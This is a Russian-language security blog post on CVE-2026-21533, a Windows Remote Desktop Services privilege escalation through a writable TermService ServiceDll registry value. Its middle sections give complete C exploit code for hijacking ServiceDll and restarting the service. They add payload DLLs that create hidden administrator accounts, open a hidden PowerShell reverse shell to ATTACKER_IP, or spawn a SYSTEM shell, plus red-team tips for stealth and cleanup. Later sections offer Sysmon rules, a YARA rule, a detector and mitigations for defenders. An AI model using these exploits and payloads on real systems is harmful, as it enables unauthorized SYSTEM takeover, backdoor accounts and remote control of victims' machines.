CVE-2026-21533: RDS Privilege Escalation — от обычного юзера до SYSTEM

Posted on 29 марта, 2026 by AkaTor

Категория: Red Team / Blue Team / Purple Team
Уровень: Intermediate → Advanced
Автор: Aka Tor
CVE: CVE-2026-21533
CVSS: 7.8 (High)
Дата: Февраль 2026

Введение

CVE-2026-21533 — zero-day уязвимость в Windows Remote Desktop Services, обнаруженная CrowdStrike и пропатченная Microsoft 10 февраля 2026. Позволяет **аутентифицированному пользователю с минимальными правами** получить **NT AUTHORITY\SYSTEM** через модификацию реестра сервиса TermService.

Ключевые факты:

- Эксплуатировалась in-the-wild с декабря 2025 (APT группы, цели: США и Канада)
- Эксплойт продавался на дарквебе за $220,000
- CISA добавила в KEV Catalog с дедлайном 3 марта 2026
- Несмотря на слово «Remote Desktop» — это **локальная** EoP, не RCE

---

1. Как работает уязвимость

1.1 Корень проблемы: Improper Privilege Management (CWE-269)

Windows RDS сервис (TermService) хранит конфигурацию в реестре:

```
HKLM\SYSTEM\CurrentControlSet\Services\TermService

Ключевые значения:
  ImagePath    = svchost.exe -k NetworkService
  ObjectName   = NT Authority\NetworkService
  Start        = 3 (Manual) или 2 (Auto)

Параметры:
  HKLM\...\TermService\Parameters
    ServiceDll = %SystemRoot%\System32\termsrv.dll
```

1.2 Уязвимость

Проблема в ACL (Access Control List) на ключ реестра `TermService\Parameters`. В уязвимых версиях Windows, **обычный аутентифицированный пользователь** может модифицировать значение `ServiceDll` — DLL которую загружает svchost.exe при старте сервиса TermService.

```
Нормальный flow:
  1. TermService запускается → svchost.exe -k NetworkService
  2. svchost загружает ServiceDll = termsrv.dll
  3. termsrv.dll работает как NETWORK SERVICE → SYSTEM

Атака:
  1. Атакующий меняет ServiceDll = C:\Temp\evil.dll
  2. Перезапуск TermService (или перезагрузка)
  3. svchost загружает evil.dll вместо termsrv.dll
  4. evil.dll выполняется как SYSTEM!
```

1.3 Почему это работает

```
TermService запускается от SYSTEM:
  - svchost.exe (SYSTEM) → загружает ServiceDll
  - ServiceDll выполняется в контексте SYSTEM
  - Если подменить ServiceDll → произвольный код как SYSTEM

Почему ACL уязвим:
  - Нормально: только SYSTEM и Administrators могут писать в
Services\*
```

```
  - Баг: TermService\Parameters имел слабый ACL
  - Authenticated Users или INTERACTIVE могли менять ServiceDll
  - Microsoft не проверял ACL при каждой модификации
```

---

2. Exploit — пошаговая эксплуатация

2.1 Проверка уязвимости

```
// Проверка: можем ли мы менять ServiceDll в TermService\Parameters
#include <windows.h>
#include <stdio.h>

BOOL CheckVulnerable() {
    HKEY hKey;
    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
        0, KEY_SET_VALUE, &hKey);

    if (result == ERROR_SUCCESS) {
        printf("[!] VULNERABLE: Can write to
TermService\\Parameters!\n");
        RegCloseKey(hKey);
        return TRUE;
    } else if (result == ERROR_ACCESS_DENIED) {
        printf("[*] PATCHED: Access denied to
TermService\\Parameters\n");
        return FALSE;
    } else {
        printf("[-] Error: %d\n", result);
        return FALSE;
    }
}
```

2.2 Создание payload DLL

```
// evil_svc.dll — DLL которая запустится как SYSTEM
```

```
// Компиляция: cl.exe /LD evil_svc.dll.c /Fe:evil_svc.dll

#include <windows.h>

// ServiceMain — вызывается svchost.exe
void WINAPI ServiceMain(DWORD argc, LPWSTR* argv) {
    // Payload: добавляем юзера в Administrators
    system("net user hacker P@ssw0rd123 /add");
    system("net localgroup Administrators hacker /add");

    // Или: reverse shell, beacon, etc.

    // Важно: нужно зарегистрировать service control handler
    // иначе сервис упадёт
    SERVICE_STATUS_HANDLE hStatus;
    SERVICE_STATUS status = { 0 };
    status.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
    status.dwCurrentState = SERVICE_RUNNING;

    hStatus = RegisterServiceCtrlHandlerW(L"TermService", NULL);
    if (hStatus) SetServiceStatus(hStatus, &status);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
        // Запускаем cmd.exe как SYSTEM для демонстрации
        STARTUPINFOA si = { sizeof(si) };
        PROCESS_INFORMATION pi = { 0 };
        CreateProcessA(NULL, "cmd.exe /c whoami >
C:\\Windows\\Temp\\pwned.txt",
            NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si,
&pi);
        if (pi.hProcess) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
    }
```

```
    return TRUE;
}
```

2.3 Exploit: подмена ServiceDll

```
// CVE-2026-21533 Exploit: подмена TermService ServiceDll
// Требует: аутентифицированный юзер на уязвимой системе
// Результат: произвольный код как SYSTEM при перезапуске TermService

#include <windows.h>
#include <stdio.h>

#define REG_PATH
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters"
#define BACKUP_VALUE "ServiceDll_backup"

// Шаг 1: Бэкап оригинального ServiceDll
BOOL BackupOriginal(char* originalPath, DWORD size) {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_PATH, 0,
        KEY_READ, &hKey) != ERROR_SUCCESS) return FALSE;

    DWORD type, dataSize = size;
    RegQueryValueExA(hKey, "ServiceDll", NULL, &type,
        (BYTE*)originalPath, &dataSize);
    RegCloseKey(hKey);

    printf("[*] Original ServiceDll: %s\n", originalPath);
    return TRUE;
}

// Шаг 2: Подмена ServiceDll на нашу DLL
BOOL ReplaceServiceDll(const char* evilDllPath) {
    HKEY hKey;
    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_PATH, 0,
        KEY_SET_VALUE, &hKey);

    if (result != ERROR_SUCCESS) {
```

```
        printf("[-] Cannot open key: %d (PATCHED or insufficient
rights)\n", result);
        return FALSE;
    }

    // Записываем путь к нашей DLL
    result = RegSetValueExA(hKey, "ServiceDll", 0, REG_EXPAND_SZ,
        (BYTE*)evilDllPath, (DWORD)strlen(evilDllPath) + 1);

    RegCloseKey(hKey);

    if (result == ERROR_SUCCESS) {
        printf("[+] ServiceDll replaced: %s\n", evilDllPath);
        return TRUE;
    }
    printf("[-] RegSetValueEx failed: %d\n", result);
    return FALSE;
}

// Шаг 3: Перезапуск сервиса (если есть права) или ждём перезагрузку
BOOL RestartTermService() {
    SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    SC_HANDLE hSvc = OpenServiceA(hSCM, "TermService",
        SERVICE_STOP | SERVICE_START | SERVICE_QUERY_STATUS);

    if (!hSvc) {
        printf("[*] Cannot restart TermService (need admin for
restart)\n");
        printf("[*] DLL will load on next system reboot\n");
        CloseServiceHandle(hSCM);
        return FALSE;
    }

    // Stop
    SERVICE_STATUS ss;
    ControlService(hSvc, SERVICE_CONTROL_STOP, &ss);
    printf("[*] Stopping TermService...\n");
    Sleep(2000);
```

```
    // Start → загрузит нашу DLL
    if (StartServiceA(hSvc, 0, NULL)) {
        printf("[+] TermService restarted → evil DLL loaded as
SYSTEM!\n");
    } else {
        printf("[*] Start failed: %d (will load on reboot)\n",
GetLastError());
    }

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return TRUE;
}

// Шаг 4: Восстановление оригинала (cleanup)
BOOL RestoreOriginal(const char* originalPath) {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, REG_PATH, 0,
        KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) return FALSE;

    RegSetValueExA(hKey, "ServiceDll", 0, REG_EXPAND_SZ,
        (BYTE*)originalPath, (DWORD)strlen(originalPath) + 1);
    RegCloseKey(hKey);

    printf("[+] Original ServiceDll restored\n");
    return TRUE;
}
```

2.4 Полный Exploit Flow

```
Атакующий (low-privilege user):

1. Проверка: RegOpenKeyEx(TermService\Parameters, KEY_SET_VALUE)
   → ERROR_SUCCESS = уязвимо!

2. Бэкап: читаем текущий ServiceDll
   → %SystemRoot%\System32\termsrv.dll
```

```
3. Создаём evil.dll:
   → DllMain() → CreateProcess("cmd.exe") или reverse shell
   → Копируем в C:\Users\Public\evil.dll

4. Подмена: RegSetValueEx("ServiceDll", "C:\Users\Public\evil.dll")

5. Trigger:
   a) Если можем перезапустить сервис → мгновенный SYSTEM
   b) Если нет → ждём перезагрузку

6. Profit: evil.dll загружается svchost.exe как SYSTEM!

7. Cleanup: восстанавливаем оригинальный ServiceDll
```

---

3. Варианты эксплуатации

3.1 Вариант A: Добавление admin-юзера

```
// DLL payload: net user + net localgroup
// При загрузке svchost.exe → создаёт admin аккаунт

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
        WinExec("cmd.exe /c net user backdoor P@ss123! /add && "
                "net localgroup Administrators backdoor /add",
                SW_HIDE);
    }
    return TRUE;
}
```

3.2 Вариант B: Reverse Shell

```
// DLL payload: PowerShell reverse shell
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
```

```
    if (reason == DLL_PROCESS_ATTACH) {
        WinExec("powershell.exe -nop -w hidden -ep bypass -c "
                "\"$c=New-Object
Net.Sockets.TCPClient('ATTACKER_IP',4444);"
                "$s=$c.GetStream();[byte[]]$b=0..65535|%{0};"
                "while(($i=$s.Read($b,0,$b.Length))-ne 0){"
                "$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);"
                "$r=(iex $d 2>&1|Out-String);"
                "$r2=$r+'PS '+(pwd).Path+'> ';"
                "$sb=([text.encoding]::ASCII).GetBytes($r2);"
                "$s.Write($sb,0,$sb.Length)}\"",
                SW_HIDE);
    }
    return TRUE;
}
```

3.3 Вариант C: Token theft (без файлов на диске)

```
// DLL payload: крадёт SYSTEM token и запускает cmd.exe
// Выполняется в контексте svchost.exe (уже SYSTEM)
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved)
{
    if (reason == DLL_PROCESS_ATTACH) {
        // Мы уже SYSTEM (svchost.exe загрузил нас)
        // Просто запускаем cmd.exe на десктопе юзера
        STARTUPINFOA si = { sizeof(si) };
        si.lpDesktop = "WinSta0\\Default";
        PROCESS_INFORMATION pi = { 0 };
        CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
            CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
        if (pi.hProcess) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
    }
    return TRUE;
}
```

---

4. Детект и защита

4.1 Blue Team: обнаружение

```
Sysmon Rules:

Event ID 13 (Registry Value Set):
  TargetObject:
HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters\ServiceD
ll
  → Алерт если Image != C:\Windows\system32\svchost.exe
  → Алерт если Details != %SystemRoot%\System32\termsrv.dll

Event ID 7 (Image Loaded):
  ImageLoaded: != C:\Windows\System32\termsrv.dll
  Process: svchost.exe с TermService
  → Подозрительная DLL загружена в TermService

Event ID 1 (Process Create):
  ParentImage: svchost.exe
  ParentCommandLine: contains "TermService"
  Image: cmd.exe / powershell.exe / net.exe
  → TermService порождает подозрительный процесс
```

```
// Detector: проверка ServiceDll TermService
void CheckTermServiceIntegrity() {
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
        0, KEY_READ, &hKey) != ERROR_SUCCESS) return;

    char serviceDll[MAX_PATH] = { 0 };
    DWORD size = sizeof(serviceDll), type;
    RegQueryValueExA(hKey, "ServiceDll", NULL, &type,
        (BYTE*)serviceDll, &size);
    RegCloseKey(hKey);
```

```
    // Нормализуем путь
    char expanded[MAX_PATH];
    ExpandEnvironmentStringsA(serviceDll, expanded, MAX_PATH);

    // Проверяем
    if (_stricmp(expanded, "C:\\Windows\\System32\\termsrv.dll") != 0)
{
        printf("[!!!] ALERT: TermService ServiceDll MODIFIED!\n");
        printf("      Current: %s\n", expanded);
        printf("      Expected:
C:\\Windows\\System32\\termsrv.dll\n");
        printf("      Possible CVE-2026-21533 exploitation!\n");
    } else {
        printf("[OK] TermService ServiceDll is legitimate\n");
    }
}

// Проверка ACL на TermService\Parameters
void CheckTermServiceACL() {
    HKEY hKey;
    // Пробуем открыть на запись от текущего юзера
    LONG result = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters",
        0, KEY_SET_VALUE, &hKey);

    if (result == ERROR_SUCCESS) {
        printf("[!!!] VULNERABLE: Current user can modify
TermService!\n");
        printf("      System is NOT patched for CVE-2026-21533!\n");
        RegCloseKey(hKey);
    } else {
        printf("[OK] TermService\\Parameters is protected
(patched)\n");
    }
}
```

4.2 YARA Rule

```
rule CVE_2026_21533_Exploit {
    meta:
        description = "Detects CVE-2026-21533 TermService ServiceDll
hijack"
        author = "Aka Tor"
        date = "2026-03"

    strings:
        $reg1 = "TermService\\Parameters" ascii wide nocase
        $reg2 = "ServiceDll" ascii wide nocase
        $api1 = "RegSetValueEx" ascii
        $api2 = "RegOpenKeyEx" ascii
        $svc1 = "TermService" ascii wide
        $svc2 = "termsrv.dll" ascii wide nocase

    condition:
        uint16(0) == 0x5A4D and
        ($reg1 and $reg2 and ($api1 or $api2)) and
        not $svc2
}
```

4.3 Mitigation

- **Patch**: установить обновление KB5034763 (February 2026 Patch Tuesday)
- **ACL Fix**: вручную ограничить права на `HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters` — только SYSTEM и Administrators
- **Мониторинг**: Sysmon Event ID 13 на TermService registry changes
- **Отключить RDS** если не используется: `sc config TermService start= disabled`
- **Integrity check**: периодическая проверка ServiceDll = termsrv.dll

---

5. Affected Systems

ОС	Версия	Уязвима
Windows 10	1607, 1809, 21H2, 22H2	Да (до KB5034763)
Windows 11	22H2, 23H2, 24H2, 25H2, 26H1	Да (до KB5034763)
Windows Server 2012 R2	All	Да
Windows Server 2016	All	Да
Windows Server 2019	All	Да
Windows Server 2022	All	Да
Windows Server 2025	All	Да

---

6. Timeline

```
Декабрь 2025    — Первые эксплуатации in-the-wild (США, Канада)
Январь 2026     — CrowdStrike обнаруживает и репортит Microsoft
10 Февраля 2026 — Microsoft выпускает патч (Patch Tuesday)
11 Февраля 2026 — CISA добавляет в KEV Catalog
10 Марта 2026   — Эксплойт продаётся на дарквебе за $220,000
Март 2026       — Множество организаций всё ещё не пропатчены
```

---

7. Рекомендации

Для Red Team

- Проверяй ACL на TermService\Parameters на каждой машине
- Если уязвимо — одна запись в реестр = SYSTEM
- Payload DLL должна реализовать ServiceMain чтобы сервис не крашился
- Cleanup: восстанови оригинальный ServiceDll после эксплуатации
- Тихий вариант: не перезапускай сервис, жди reboot

Для Blue Team

- **PATCH НЕМЕДЛЕННО** — KB5034763

- Sysmon rule на TermService\Parameters модификацию
- Проверить все серверы с RDS на наличие модифицированного ServiceDll
- Аудит ACL: `Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\TermService\Parameters" | Format-List`
- Отключить RDS где не нужен

Для Purple Team

- Проверьте уязвимость на всех Windows серверах в инфраструктуре
- Создайте детект-правило до патча — мониторинг ServiceDll
- MITRE ATT&CK: T1543.003 (Create or Modify System Process: Windows Service)
- Тестируйте детект: подмените ServiceDll → проверьте что SIEM алертит

Заключение

CVE-2026-21533 — простая но мощная уязвимость. Одна запись в реестр = SYSTEM. Нет необходимости в сложных exploit chains, ROP gadgets или kernel exploits. Просто `RegSetValueEx` на ключ который должен был быть защищён. Это напоминание что самые опасные баги — не в сложном коде, а в **неправильных ACL**.

Проверьте свои серверы прямо сейчас.

Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты инфраструктуры.